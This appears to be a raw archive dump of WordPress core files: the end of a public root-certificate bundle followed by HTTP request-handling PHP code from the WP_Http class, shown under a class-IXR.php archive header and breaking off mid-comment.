dWbrAuMINClKxuMrLzOg2qOGpRKX/YAr2hRC45K9PvJdXmd0LhyIRyk0X+IyqJwlN4y6mACXi0mW Hv0liqzc2thddG5msP9E36EYxr5ILzeUePiVSj9/E15dWf10hkNjc0kCAwEAAaNCMEAwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJ84xFYjwznooHFs6FRM5Og6sb9n MA0GCSqGSIb3DQEBCwUAA4ICAQAS5UKme4sPDORGpbZgQIeMJX6tuGguW8ZAdjwD+MlZ9POrYs4Q jbRaZIxowLByQzTSGwv2LFPSypBLhmb8qoMi9IsabyZIrHZ3CL/FmFz0Jomee8O5ZDIBf9PD3Vht 7LGrhFV0d4QEJ1JrhkzO3bll/9bGXp+aEJlLdWr+aumXIOTkdnrG0CSqkM0gkLpHZPt/B7NTeLUK YvJzQ85BK4FqLoUWlFPUa19yIqtRLULVAJyZv967lDtX/Zr1hstWO1uIAeV8KEsD+UmDfLJ/fOPt jqF/YFOOVZ1QNBIPt5d7bIdKROf1beyAN/BYGW5KaHbwH5Lk6rWS02FREAutp9lfx1/cH6NcjKF+ m7ee01ZvZl4HliDtC3T7Zk6LERXpgUl+b7DUUH8i119lAg2m9IUe2K4GS0qn0jFmwvjO5QimpAKW RGhXxNUzzxkvFMSUHHuk2fCfDrGA4tGeEWSpiBE6doLlYsKA2KSD7ZPvfC+QsDJMlhVoSFLUmQjA JOgc47OlIQ6SwJAfzyBfyjs4x7dtOvPmRLgOMWuIjnDrnBdSqEGULoe256YSxXXfW8AKbnuk5F6G +TaU33fD6Q3AOfF5u0aOq0NZJ7cguyPpVkAh7DE9ZapD8j3fcEThuk0mEDuYn/PIjhs4ViFqUZPT kcpG2om3PVODLAgfi49T3f+sHw== -----END CERTIFICATE----- Microsoft ECC Root Certificate Authority 2017 ============================================= -----BEGIN CERTIFICATE----- MIICWTCCAd+gAwIBAgIQZvI9r4fei7FK6gxXMQHC7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV UzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQgRUND IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjMwNjQ1WhcNNDIwNzE4 MjMxNjA0WjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYw NAYDVQQDEy1NaWNyb3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwdjAQ BgcqhkjOPQIBBgUrgQQAIgNiAATUvD0CQnVBEyPNgASGAlEvaqiBYgtlzPbKnR5vSmZRogPZnZH6 thaxjG7efM3beaYvzrvOcS/lpaso7GMEZpn4+vKTEAXhgShC48Zo9OYbhGBKia/teQ87zvH2RPUB eMCjVDBSMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTIy5lycFIM +Oa+sgRXKSrPQhDtNTAQBgkrBgEEAYI3FQEEAwIBADAKBggqhkjOPQQDAwNoADBlAjBY8k3qDPlf Xu5gKcs68tvWMoQZP3zVL8KxzJOuULsJMsbG7X7JNpQS5GiFBqIb0C8CMQCZ6Ra0DvpWSNSkMBaR eNtUjGUBiudQZsIxtzm6uBoiB078a1QWIP8rtedMDE2mT3M= -----END CERTIFICATE----- Microsoft RSA Root Certificate Authority 2017 ============================================= -----BEGIN CERTIFICATE----- MIIFqDCCA5CgAwIBAgIQHtOXCV/YtLNHcB6qvn9FszANBgkqhkiG9w0BAQwFADBlMQswCQYDVQQG EwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQg UlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjI1MTIyWhcNNDIw NzE4MjMwMDIzWjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9u MTYwNAYDVQQDEy1NaWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcw ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKW76UM4wplZEWCpW9R2LBifOZNt9GkMml 7Xhqb0eRaPgnZ1AzHaGm++DlQ6OEAlcBXZxIQIJTELy/xztokLaCLeX0ZdDMbRnMlfl7rEqUrQ7e S0MdhweSE5CAg2Q1OQT85elss7YfUJQ4ZVBcF0a5toW1HLUX6NZFndiyJrDKxHBKrmCk3bPZ7Pw7 1VdyvD/IybLeS2v4I2wDwAW9lcfNcztmgGTjGqwu+UcF8ga2m3P1eDNbx6H7JyqhtJqRjJHTOoI+ dkC0zVJhUXAoP8XFWvLJjEm7FFtNyP9nTUwSlq31/niol4fX/V4ggNyhSyL71Imtus5Hl0dVe49F yGcohJUcaDDv70ngNXtk55iwlNpNhTs+VcQor1fznhPbRiefHqJeRIOkpcrVE7NLP8TjwuaGYaRS MLl6IE9vDzhTyzMMEyuP1pq9KsgtsRx9S1HKR9FIJ3Jdh+vVReZIZZ2vUpC6W6IYZVcSn2i51BVr lMRpIpj0M+Dt+VGOQVDJNE92kKz8OMHY4Xu54+OU4UZpyw4KUGsTuqwPN1q3ErWQgR5WrlcihtnJ 0tHXUeOrO8ZV/R4O03QK0dqq6mm4lyiPSMQH+FJDOvTKVTUssKZqwJz58oHhEmrARdlns87/I6KJ ClTUFLkqqNfs+avNJVgyeY+QW5g5xAgGwax/Dj0ApQIDAQABo1QwUjAOBgNVHQ8BAf8EBAMCAYYw DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUCctZf4aycI8awznjwNnpv7tNsiMwEAYJKwYBBAGC NxUBBAMCAQAwDQYJKoZIhvcNAQEMBQADggIBAKyvPl3CEZaJjqPnktaXFbgToqZCLgLNFgVZJ8og 6Lq46BrsTaiXVq5lQ7GPAJtSzVXNUzltYkyLDVt8LkS/gxCP81OCgMNPOsduET/m4xaRhPtthH80 dK2Jp86519efhGSSvpWhrQlTM93uCupKUY5vVau6tZRGrox/2KJQJWVggEbbMwSubLWYdFQl3JPk +ONVFT24bcMKpBLBaYVu32TxU5nhSnUgnZUP5NbcA/FZGOhHibJXWpS2qdgXKxdJ5XbLwVaZOjex /2kskZGT4d9Mozd2TaGf+G0eHdP67Pv0RR0Tbc/3WeUiJ3IrhvNXuzDtJE3cfVa7o7P4NHmJweDy AmH3pvwPuxwXC65B2Xy9J6P9LjrRk5Sxcx0ki69bIImtt2dmefU6xqaWM/5TkshGsRGRxpl/j8nW ZjEgQRCHLQzWwa80mMpkg/sTV9HB8Dx6jKXB/ZUhoHHBk2dxEuqPiAppGWSZI1b7rCoucL5mxAyE 7+WL85MB+GqQk2dLsmijtWKP6T+MejteD+eMuMZ87zf9dOLITzNy4ZQ5bb0Sr74MTnB8G2+NszKT c0QWbej09+CVgI+WXTik9KveCjCHk9hNAHFiRSdLOkKEW39lt2c0Ui2cFmuqqNh7o0JMcccMyj6D 5KbvtwEwXlGjefVwaaZBRA+GsCyRxj3qrg+E -----END CERTIFICATE----- e-Szigno Root CA 2017 ===================== -----BEGIN CERTIFICATE----- MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNVBAYTAkhVMREw DwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUt MjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJvb3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZa Fw00MjA4MjIxMjA3MDZaMHExCzAJBgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UE CgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3pp Z25vIFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtvxie+RJCx s1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+HWyx7xf58etqjYzBhMA8G A1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSHERUI0arBeAyxr87GyZDv vzAEwDAfBgNVHSMEGDAWgBSHERUI0arBeAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEA tVfd14pVCzbhhkT61NlojbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxO svxyqltZ+efcMQ== -----END CERTIFICATE----- certSIGN Root CA G2 =================== -----BEGIN CERTIFICATE----- MIIFRzCCAy+gAwIBAgIJEQA0tk7GNi02MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNVBAYTAlJPMRQw EgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjAeFw0xNzAy MDYwOTI3MzVaFw00MjAyMDYwOTI3MzVaMEExCzAJBgNVBAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lH TiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIP ADCCAgoCggIBAMDFdRmRfUR0dIf+DjuW3NgBFszuY5HnC2/OOwppGnzC46+CjobXXo9X69MhWf05 N0IwvlDqtg+piNguLWkh59E3GE59kdUWX2tbAMI5Qw02hVK5U2UPHULlj88F0+7cDBrZuIt4Imfk abBoxTzkbFpG583H+u/E7Eu9aqSs/cwoUe+StCmrqzWaTOTECMYmzPhpn+Sc8CnTXPnGFiWeI8Mg wT0PPzhAsP6CRDiqWhqKa2NYOLQV07YRaXseVO6MGiKscpc/I1mbySKEwQdPzH/iV8oScLumZfNp dWO9lfsbl83kqK/20U6o2YpxJM02PbyWxPFsqa7lzw1uKA2wDrXKUXt4FMMgL3/7FFXhEZn91Qqh ngLjYl/rNUssuHLoPj1PrCy7Lobio3aP5ZMqz6WryFyNSwb/EkaseMsUBzXgqd+L6a8VTxaJW732 jcZZroiFDsGJ6x9nxUWO/203Nit4ZoORUSs9/1F3dmKh7Gc+PoGD4FapUB8fepmrY7+EF3fxDTvf 95xhszWYijqy7DwaNz9+j5LP2RIUZNoQAhVB/0/E6xyjyfqZ90bp4RjZsbgyLcsUDFDYg2WD7rlc z8sFWkz6GZdr1l0T08JcVLwyc6B49fFtHsufpaafItzRUZ6CeWRgKRM+o/1Pcmqr4tTluCRVLERL iohEnMqE0yo7AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1Ud DgQWBBSCIS1mxteg4BXrzkwJd8RgnlRuAzANBgkqhkiG9w0BAQsFAAOCAgEAYN4auOfyYILVAzOB ywaK8SJJ6ejqkX/GM15oGQOGO0MBzwdw5AgeZYWR5hEit/UCI46uuR59H35s5r0l1ZUa8gWmr4UC b6741jH/JclKyMeKqdmfS0mbEVeZkkMR3rYzpMzXjWR91M08KCy0mpbqTfXERMQlqiCA2ClV9+BB /AYm/7k29UMUA2Z44RGx2iBfRgB4ACGlHgAoYXhvqAEBj500mv/0OJD7uNGzcgbJceaBxXntC6Z5 8hMLnPddDnskk7RI24Zf3lCGeOdA5jGokHZwYa+cNywRtYK3qq4kNFtyDGkNzVmf9nGvnAvRCjj5 BiKDUyUM/FHE5r7iOZULJK2v0ZXkltd0ZGtxTgI8qoXzIKNDOXZbbFD+mpwUHmUUihW9o4JFWklW atKcsWMy5WHgUyIOpwpJ6st+H6jiYoD2EEVSmAYY3qXNL3+q1Ok+CHLsIwMCPKaq2LxndD0UF/tU Sxfj03k9bWtJySgOLnRQvwzZRjoQhsmnP+mg7H/rpXdYaXHmgwo38oZJar55CJD2AhZkPuXaTH4M NMn5X7azKFGnpyuqSfqNZSlO42sTp5SjLVFteAxEy9/eCG/Oo2Sr05WE1LlSVHJ7liXMvGnjSG4N 0MedJ5qq+BOS3R7fY581qRY27Iy4g/Q9iY/NtBde17MXQRBdJ3NghVdJIgc= -----END CERTIFICATE----- class-IXR.php000064400000004757151202620300007026 0ustar00 'GET', /** * Filters the timeout value for an HTTP request. * * @since 2.7.0 * @since 5.1.0 The `$url` parameter was added. * * @param float $timeout_value Time in seconds until a request times out. Default 5. * @param string $url The request URL. */ 'timeout' => apply_filters( 'http_request_timeout', 5, $url ), /** * Filters the number of redirects allowed during an HTTP request. * * @since 2.7.0 * @since 5.1.0 The `$url` parameter was added. * * @param int $redirect_count Number of redirects allowed. Default 5. * @param string $url The request URL. */ 'redirection' => apply_filters( 'http_request_redirection_count', 5, $url ), /** * Filters the version of the HTTP protocol used in a request. * * @since 2.7.0 * @since 5.1.0 The `$url` parameter was added. * * @param string $version Version of HTTP used. Accepts '1.0' and '1.1'. Default '1.0'. * @param string $url The request URL. */ 'httpversion' => apply_filters( 'http_request_version', '1.0', $url ), /** * Filters the user agent value sent with an HTTP request. * * @since 2.7.0 * @since 5.1.0 The `$url` parameter was added. * * @param string $user_agent WordPress user agent string. * @param string $url The request URL. */ 'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), $url ), /** * Filters whether to pass URLs through wp_http_validate_url() in an HTTP request. * * @since 3.6.0 * @since 5.1.0 The `$url` parameter was added. * * @param bool $pass_url Whether to pass URLs through wp_http_validate_url(). Default false. * @param string $url The request URL. */ 'reject_unsafe_urls' => apply_filters( 'http_request_reject_unsafe_urls', false, $url ), 'blocking' => true, 'headers' => array(), 'cookies' => array(), 'body' => null, 'compress' => false, 'decompress' => true, 'sslverify' => true, 'sslcertificates' => ABSPATH . WPINC . '/certificates/ca-bundle.crt', 'stream' => false, 'filename' => null, 'limit_response_size' => null, ); // Pre-parse for the HEAD checks. $args = wp_parse_args( $args ); // By default, HEAD requests do not cause redirections. if ( isset( $args['method'] ) && 'HEAD' === $args['method'] ) { $defaults['redirection'] = 0; } $parsed_args = wp_parse_args( $args, $defaults ); /** * Filters the arguments used in an HTTP request. * * @since 2.7.0 * * @param array $parsed_args An array of HTTP request arguments. * @param string $url The request URL. */ $parsed_args = apply_filters( 'http_request_args', $parsed_args, $url ); // The transports decrement this, store a copy of the original value for loop purposes. if ( ! isset( $parsed_args['_redirection'] ) ) { $parsed_args['_redirection'] = $parsed_args['redirection']; } /** * Filters the preemptive return value of an HTTP request. * * Returning a non-false value from the filter will short-circuit the HTTP request and return * early with that value. A filter should return one of: * * - An array containing 'headers', 'body', 'response', 'cookies', and 'filename' elements * - A WP_Error instance * - boolean false to avoid short-circuiting the response * * Returning any other value may result in unexpected behaviour. * * @since 2.9.0 * * @param false|array|WP_Error $preempt A preemptive return value of an HTTP request. Default false. * @param array $parsed_args HTTP request arguments. * @param string $url The request URL. */ $pre = apply_filters( 'pre_http_request', false, $parsed_args, $url ); if ( false !== $pre ) { return $pre; } if ( function_exists( 'wp_kses_bad_protocol' ) ) { if ( $parsed_args['reject_unsafe_urls'] ) { $url = wp_http_validate_url( $url ); } if ( $url ) { $url = wp_kses_bad_protocol( $url, array( 'http', 'https', 'ssl' ) ); } } $arrURL = parse_url( $url ); if ( empty( $url ) || empty( $arrURL['scheme'] ) ) { $response = new WP_Error( 'http_request_failed', __( 'A valid URL was not provided.' ) ); /** This action is documented in wp-includes/class-http.php */ do_action( 'http_api_debug', $response, 'response', 'Requests', $parsed_args, $url ); return $response; } if ( $this->block_request( $url ) ) { $response = new WP_Error( 'http_request_not_executed', __( 'User has blocked requests through HTTP.' ) ); /** This action is documented in wp-includes/class-http.php */ do_action( 'http_api_debug', $response, 'response', 'Requests', $parsed_args, $url ); return $response; } // If we are streaming to a file but no filename was given drop it in the WP temp dir // and pick its name using the basename of the $url. if ( $parsed_args['stream'] ) { if ( empty( $parsed_args['filename'] ) ) { $parsed_args['filename'] = get_temp_dir() . basename( $url ); } // Force some settings if we are streaming to a file and check for existence // and perms of destination directory. $parsed_args['blocking'] = true; if ( ! wp_is_writable( dirname( $parsed_args['filename'] ) ) ) { $response = new WP_Error( 'http_request_failed', __( 'Destination directory for file streaming does not exist or is not writable.' ) ); /** This action is documented in wp-includes/class-http.php */ do_action( 'http_api_debug', $response, 'response', 'Requests', $parsed_args, $url ); return $response; } } if ( is_null( $parsed_args['headers'] ) ) { $parsed_args['headers'] = array(); } // WP allows passing in headers as a string, weirdly. if ( ! is_array( $parsed_args['headers'] ) ) { $processedHeaders = WP_Http::processHeaders( $parsed_args['headers'] ); $parsed_args['headers'] = $processedHeaders['headers']; } // Setup arguments. $headers = $parsed_args['headers']; $data = $parsed_args['body']; $type = $parsed_args['method']; $options = array( 'timeout' => $parsed_args['timeout'], 'useragent' => $parsed_args['user-agent'], 'blocking' => $parsed_args['blocking'], 'hooks' => new WP_HTTP_Requests_Hooks( $url, $parsed_args ), ); // Ensure redirects follow browser behaviour. $options['hooks']->register( 'requests.before_redirect', array( get_class(), 'browser_redirect_compatibility' ) ); // Validate redirected URLs. if ( function_exists( 'wp_kses_bad_protocol' ) && $parsed_args['reject_unsafe_urls'] ) { $options['hooks']->register( 'requests.before_redirect', array( get_class(), 'validate_redirects' ) ); } if ( $parsed_args['stream'] ) { $options['filename'] = $parsed_args['filename']; } if ( empty( $parsed_args['redirection'] ) ) { $options['follow_redirects'] = false; } else { $options['redirects'] = $parsed_args['redirection']; } // Use byte limit, if we can. if ( isset( $parsed_args['limit_response_size'] ) ) { $options['max_bytes'] = $parsed_args['limit_response_size']; } // If we've got cookies, use and convert them to Requests_Cookie. if ( ! empty( $parsed_args['cookies'] ) ) { $options['cookies'] = WP_Http::normalize_cookies( $parsed_args['cookies'] ); } // SSL certificate handling. if ( ! $parsed_args['sslverify'] ) { $options['verify'] = false; $options['verifyname'] = false; } else { $options['verify'] = $parsed_args['sslcertificates']; } // All non-GET/HEAD requests should put the arguments in the form body. if ( 'HEAD' !== $type && 'GET' !== $type ) { $options['data_format'] = 'body'; } /** * Filters whether SSL should be verified for non-local requests. * * @since 2.8.0 * @since 5.1.0 The `$url` parameter was added. * * @param bool $ssl_verify Whether to verify the SSL connection. Default true. * @param string $url The request URL. */ $options['verify'] = apply_filters( 'https_ssl_verify', $options['verify'], $url ); // Check for proxies. $proxy = new WP_HTTP_Proxy(); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { $options['proxy'] = new Requests_Proxy_HTTP( $proxy->host() . ':' . $proxy->port() ); if ( $proxy->use_authentication() ) { $options['proxy']->use_authentication = true; $options['proxy']->user = $proxy->username(); $options['proxy']->pass = $proxy->password(); } } // Avoid issues where mbstring.func_overload is enabled. mbstring_binary_safe_encoding(); try { $requests_response = Requests::request( $url, $headers, $data, $type, $options ); // Convert the response into an array. $http_response = new WP_HTTP_Requests_Response( $requests_response, $parsed_args['filename'] ); $response = $http_response->to_array(); // Add the original object to the array. $response['http_response'] = $http_response; } catch ( Requests_Exception $e ) { $response = new WP_Error( 'http_request_failed', $e->getMessage() ); } reset_mbstring_encoding(); /** * Fires after an HTTP API response is received and before the response is returned. * * @since 2.8.0 * * @param array|WP_Error $response HTTP response or WP_Error object. * @param string $context Context under which the hook is fired. * @param string $class HTTP transport used. * @param array $parsed_args HTTP request arguments. * @param string $url The request URL. */ do_action( 'http_api_debug', $response, 'response', 'Requests', $parsed_args, $url ); if ( is_wp_error( $response ) ) { return $response; } if ( ! $parsed_args['blocking'] ) { return array( 'headers' => array(), 'body' => '', 'response' => array( 'code' => false, 'message' => false, ), 'cookies' => array(), 'http_response' => null, ); } /** * Filters the HTTP API response immediately before the response is returned. * * @since 2.9.0 * * @param array $response HTTP response. * @param array $parsed_args HTTP request arguments. * @param string $url The request URL. */ return apply_filters( 'http_response', $response, $parsed_args, $url ); } /** * Normalizes cookies for using in Requests. * * @since 4.6.0 * * @param array $cookies Array of cookies to send with the request. * @return Requests_Cookie_Jar Cookie holder object. */ public static function normalize_cookies( $cookies ) { $cookie_jar = new Requests_Cookie_Jar(); foreach ( $cookies as $name => $value ) { if ( $value instanceof WP_Http_Cookie ) { $cookie_jar[ $value->name ] = new Requests_Cookie( $value->name, $value->value, $value->get_attributes(), array( 'host-only' => $value->host_only ) ); } elseif ( is_scalar( $value ) ) { $cookie_jar[ $name ] = new Requests_Cookie( $name, $value ); } } return $cookie_jar; } /** * Match redirect behaviour to browser handling. * * Changes 302 redirects from POST to GET to match browser handling. Per * RFC 7231, user agents can deviate from the strict reading of the * specification for compatibility purposes. * * @since 4.6.0 * * @param string $location URL to redirect to. * @param array $headers Headers for the redirect. * @param string|array $data Body to send with the request. * @param array $options Redirect request options. * @param Requests_Response $original Response object. */ public static function browser_redirect_compatibility( $location, $headers, $data, &$options, $original ) { // Browser compatibility. if ( 302 === $original->status_code ) { $options['type'] = Requests::GET; } } /** * Validate redirected URLs. * * @since 4.7.5 * * @throws Requests_Exception On unsuccessful URL validation. * @param string $location URL to redirect to. */ public static function validate_redirects( $location ) { if ( ! wp_http_validate_url( $location ) ) { throw new Requests_Exception( __( 'A valid URL was not provided.' ), 'wp_http.redirect_failed_validation' ); } } /** * Tests which transports are capable of supporting the request. * * @since 3.2.0 * * @param array $args Request arguments. * @param string $url URL to request. * @return string|false Class name for the first transport that claims to support the request. * False if no transport claims to support the request. */ public function _get_first_available_transport( $args, $url = null ) { $transports = array( 'curl', 'streams' ); /** * Filters which HTTP transports are available and in what order. * * @since 3.7.0 * * @param string[] $transports Array of HTTP transports to check. Default array contains * 'curl' and 'streams', in that order. * @param array $args HTTP request arguments. * @param string $url The URL to request. */ $request_order = apply_filters( 'http_api_transports', $transports, $args, $url ); // Loop over each transport on each HTTP request looking for one which will serve this request's needs. foreach ( $request_order as $transport ) { if ( in_array( $transport, $transports, true ) ) { $transport = ucfirst( $transport ); } $class = 'WP_Http_' . $transport; // Check to see if this transport is a possibility, calls the transport statically. if ( ! call_user_func( array( $class, 'test' ), $args, $url ) ) { continue; } return $class; } return false; } /** * Dispatches a HTTP request to a supporting transport. * * Tests each transport in order to find a transport which matches the request arguments. * Also caches the transport instance to be used later. * * The order for requests is cURL, and then PHP Streams. * * @since 3.2.0 * @deprecated 5.1.0 Use WP_Http::request() * @see WP_Http::request() * * @param string $url URL to request. * @param array $args Request arguments. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. * A WP_Error instance upon error. */ private function _dispatch_request( $url, $args ) { static $transports = array(); $class = $this->_get_first_available_transport( $args, $url ); if ( ! $class ) { return new WP_Error( 'http_failure', __( 'There are no HTTP transports available which can complete the requested request.' ) ); } // Transport claims to support request, instantiate it and give it a whirl. if ( empty( $transports[ $class ] ) ) { $transports[ $class ] = new $class; } $response = $transports[ $class ]->request( $url, $args ); /** This action is documented in wp-includes/class-http.php */ do_action( 'http_api_debug', $response, 'response', $class, $args, $url ); if ( is_wp_error( $response ) ) { return $response; } /** This filter is documented in wp-includes/class-http.php */ return apply_filters( 'http_response', $response, $args, $url ); } /** * Uses the POST HTTP method. * * Used for sending data that is expected to be in the body. * * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. * A WP_Error instance upon error. */ public function post( $url, $args = array() ) { $defaults = array( 'method' => 'POST' ); $parsed_args = wp_parse_args( $args, $defaults ); return $this->request( $url, $parsed_args ); } /** * Uses the GET HTTP method. * * Used for sending data that is expected to be in the body. * * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. * A WP_Error instance upon error. */ public function get( $url, $args = array() ) { $defaults = array( 'method' => 'GET' ); $parsed_args = wp_parse_args( $args, $defaults ); return $this->request( $url, $parsed_args ); } /** * Uses the HEAD HTTP method. * * Used for sending data that is expected to be in the body. * * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. * A WP_Error instance upon error. */ public function head( $url, $args = array() ) { $defaults = array( 'method' => 'HEAD' ); $parsed_args = wp_parse_args( $args, $defaults ); return $this->request( $url, $parsed_args ); } /** * Parses the responses and splits the parts into headers and body. * * @since 2.7.0 * * @param string $strResponse The full response string. * @return array { * Array with response headers and body. * * @type string $headers HTTP response headers. * @type string $body HTTP response body. * } */ public static function processResponse( $strResponse ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid $res = explode( "\r\n\r\n", $strResponse, 2 ); return array( 'headers' => $res[0], 'body' => isset( $res[1] ) ? $res[1] : '', ); } /** * Transforms header string into an array. * * @since 2.7.0 * * @param string|array $headers The original headers. If a string is passed, it will be converted * to an array. If an array is passed, then it is assumed to be * raw header data with numeric keys with the headers as the values. * No headers must be passed that were already processed. * @param string $url Optional. The URL that was requested. Default empty. * @return array { * Processed string headers. If duplicate headers are encountered, * then a numbered array is returned as the value of that header-key. * * @type array $response { * @type int $code The response status code. Default 0. * @type string $message The response message. Default empty. * } * @type array $newheaders The processed header data as a multidimensional array. * @type WP_Http_Cookie[] $cookies If the original headers contain the 'Set-Cookie' key, * an array containing `WP_Http_Cookie` objects is returned. * } */ public static function processHeaders( $headers, $url = '' ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid // Split headers, one per array element. if ( is_string( $headers ) ) { // Tolerate line terminator: CRLF = LF (RFC 2616 19.3). $headers = str_replace( "\r\n", "\n", $headers ); /* * Unfold folded header fields. LWS = [CRLF] 1*( SP | HT ) , * (RFC 2616 2.2). */ $headers = preg_replace( '/\n[ \t]/', ' ', $headers ); // Create the headers array. $headers = explode( "\n", $headers ); } $response = array( 'code' => 0, 'message' => '', ); /* * If a redirection has taken place, The headers for each page request may have been passed. * In this case, determine the final HTTP header and parse from there. */ for ( $i = count( $headers ) - 1; $i >= 0; $i-- ) { if ( ! empty( $headers[ $i ] ) && false === strpos( $headers[ $i ], ':' ) ) { $headers = array_splice( $headers, $i ); break; } } $cookies = array(); $newheaders = array(); foreach ( (array) $headers as $tempheader ) { if ( empty( $tempheader ) ) { continue; } if ( false === strpos( $tempheader, ':' ) ) { $stack = explode( ' ', $tempheader, 3 ); $stack[] = ''; list( , $response['code'], $response['message']) = $stack; continue; } list($key, $value) = explode( ':', $tempheader, 2 ); $key = strtolower( $key ); $value = trim( $value ); if ( isset( $newheaders[ $key ] ) ) { if ( ! is_array( $newheaders[ $key ] ) ) { $newheaders[ $key ] = array( $newheaders[ $key ] ); } $newheaders[ $key ][] = $value; } else { $newheaders[ $key ] = $value; } if ( 'set-cookie' === $key ) { $cookies[] = new WP_Http_Cookie( $value, $url ); } } // Cast the Response Code to an int. $response['code'] = (int) $response['code']; return array( 'response' => $response, 'headers' => $newheaders, 'cookies' => $cookies, ); } /** * Takes the arguments for a ::request() and checks for the cookie array. * * If it's found, then it upgrades any basic name => value pairs to WP_Http_Cookie instances, * which are each parsed into strings and added to the Cookie: header (within the arguments array). * Edits the array by reference. * * @since 2.8.0 * * @param array $r Full array of args passed into ::request() */ public static function buildCookieHeader( &$r ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid if ( ! empty( $r['cookies'] ) ) { // Upgrade any name => value cookie pairs to WP_HTTP_Cookie instances. foreach ( $r['cookies'] as $name => $value ) { if ( ! is_object( $value ) ) { $r['cookies'][ $name ] = new WP_Http_Cookie( array( 'name' => $name, 'value' => $value, ) ); } } $cookies_header = ''; foreach ( (array) $r['cookies'] as $cookie ) { $cookies_header .= $cookie->getHeaderValue() . '; '; } $cookies_header = substr( $cookies_header, 0, -2 ); $r['headers']['cookie'] = $cookies_header; } } /** * Decodes chunk transfer-encoding, based off the HTTP 1.1 specification. * * Based off the HTTP http_encoding_dechunk function. * * @link https://tools.ietf.org/html/rfc2616#section-19.4.6 Process for chunked decoding. * * @since 2.7.0 * * @param string $body Body content. * @return string Chunked decoded body on success or raw body on failure. */ public static function chunkTransferDecode( $body ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid // The body is not chunked encoded or is malformed. if ( ! preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', trim( $body ) ) ) { return $body; } $parsed_body = ''; // We'll be altering $body, so need a backup in case of error. $body_original = $body; while ( true ) { $has_chunk = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $body, $match ); if ( ! $has_chunk || empty( $match[1] ) ) { return $body_original; } $length = hexdec( $match[1] ); $chunk_length = strlen( $match[0] ); // Parse out the chunk of data. $parsed_body .= substr( $body, $chunk_length, $length ); // Remove the chunk from the raw data. $body = substr( $body, $length + $chunk_length ); // End of the document. if ( '0' === trim( $body ) ) { return $parsed_body; } } } /** * Determines whether an HTTP API request to the given URL should be blocked. * * Those who are behind a proxy and want to prevent access to certain hosts may do so. This will * prevent plugins from working and core functionality, if you don't include `api.wordpress.org`. * * You block external URL requests by defining `WP_HTTP_BLOCK_EXTERNAL` as true in your `wp-config.php` * file and this will only allow localhost and your site to make requests. The constant * `WP_ACCESSIBLE_HOSTS` will allow additional hosts to go through for requests. The format of the * `WP_ACCESSIBLE_HOSTS` constant is a comma separated list of hostnames to allow, wildcard domains * are supported, eg `*.wordpress.org` will allow for all subdomains of `wordpress.org` to be contacted. * * @since 2.8.0 * * @link https://core.trac.wordpress.org/ticket/8927 Allow 